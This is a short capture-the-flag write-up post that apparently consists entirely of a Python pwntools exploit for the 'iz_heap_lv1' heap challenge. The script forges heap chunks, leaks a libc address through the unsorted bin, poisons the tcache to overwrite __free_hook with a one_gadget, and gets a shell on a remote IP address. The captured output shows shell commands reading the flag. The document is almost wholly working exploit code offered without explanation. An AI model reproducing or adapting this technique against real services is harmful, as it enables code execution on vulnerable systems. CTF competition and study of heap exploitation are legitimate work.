Tags: pwn heap 

Rating: 0

Here is my exploit @javierprtd

```python
from pwn import *

def init(s):
io.recvuntil("Input name: ")
io.sendline(s)

def menu(n):
io.recvuntil("Choice: \n")
io.sendline(str(n))

def alloc(n, s):
menu(1)
io.recvuntil("Enter size: ")
io.sendline(str(n))
io.recvuntil("Enter data: ")
io.sendline(s)
io.recvuntil("Success!\n")

def edit(i, n, s):
menu(2)
io.recvuntil("Enter index: ")
io.sendline(str(i))
io.recvuntil("Enter size: ")
io.sendline(str(n))
io.recvuntil("Enter data: ")
io.sendline(s)
io.recvuntil("Success!\n")

def remove(i):
menu(3)
io.recvuntil("Enter index: ")
io.sendline(str(i))

def show(new_name=None):
menu(4)
io.recvuntil("DO you want to edit: (Y/N)")
if new_name is None:
io.sendline("N")
else:
io.sendline("Y")
io.recvuntil("Input name: ")
io.sendline(new_name)

io.recvuntil("Name: ")
return io.recv(0x28)[0x20:0x26]

elf = ELF("./iz_heap_lv1")
libc = ELF("./libc.so.6")
env = {"LD_PRELOAD":libc.path}
local = False
io = process(elf.path, env=env) if local else remote("165.22.110.249", 3333)
init(p64(0x602120) + p64(0)*2 + p64(0x91) + p64(0)*17 + p64(0x21) + p64(0)*3 + p64(0x21)) # fake chunks
for i in range(7):
alloc(0x80, "")
for i in range(7):
remove(i)
remove(20) # free fake chunk and go to unsorted bin
leak = u64(show("A"*0x1f).ljust(8, '\0'))
base_libc = leak - 0x3ebca0
one_gadget = base_libc + 0x4f322
free_hook = base_libc + libc.symbols['__free_hook']
print "[+] base libc: 0x%x" % base_libc
print "[+] one_gadget: 0x%x" % one_gadget
print "[+] free_hook: 0x%x" % free_hook
show(p64(0x602120) + p64(0)*2 + p64(0x31))
remove(20)
alloc(0x20, "")
alloc(0x20, "")
remove(0)
show(p64(0)*3 + p64(0x31) + p64(free_hook))
alloc(0x20, p64(free_hook))
alloc(0x20, p64(one_gadget))
remove(1)
io.interactive()

'''
[+] base libc: 0x7f03a20c4000
[+] one_gadget: 0x7f03a2113322
[+] free_hook: 0x7f03a24b18e8
[*] Switching to interactive mode
$ id
uid=1000(iz_heap_lv1) gid=1000(iz_heap_lv1) groups=1000(iz_heap_lv1)
$ cat /home/iz_heap_lv1/flag
ISITDTU{d800dab9684113a5d6c7d2c0381b48c1553068bc}
'''
```